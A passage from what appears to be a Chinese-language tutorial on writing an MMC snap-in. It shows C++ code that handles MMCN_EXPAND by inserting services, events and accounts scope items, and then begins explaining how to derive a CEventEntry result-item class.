case MMCN_EXPAND:{CComQIPtr<IConsoleNameSpace, &IID_IConsoleNameSpace>spConsoleNameSpace(spConsole);m_pServicesContainer->m_scopeDataItem.mask |= SDI_PARENT;m_pServicesContainer->m_scopeDataItem.relativeID = param;spConsoleNameSpace->InsertItem(&m_pServicesContainer->m_scopeDataItem);m_pEventsContainer->m_scopeDataItem.mask |= SDI_PARENT;m_pEventsContainer->m_scopeDataItem.relativeID = param;spConsoleNameSpace->InsertItem(&m_pEventsContainer->m_scopeDataItem);m_pAccountsContainer->m_scopeDataItem.mask |= SDI_PARENT;m_pAccountsContainer->m_scopeDataItem.relativeID = param;spConsoleNameSpace->InsertItem(&m_pAccountsContainer->m_scopeDataItem);hr = S_OK;}break;如何生成结果栏的项(Result Item)从CMySnapinData继承,生成CEventEntry类,表示一个事件内容。

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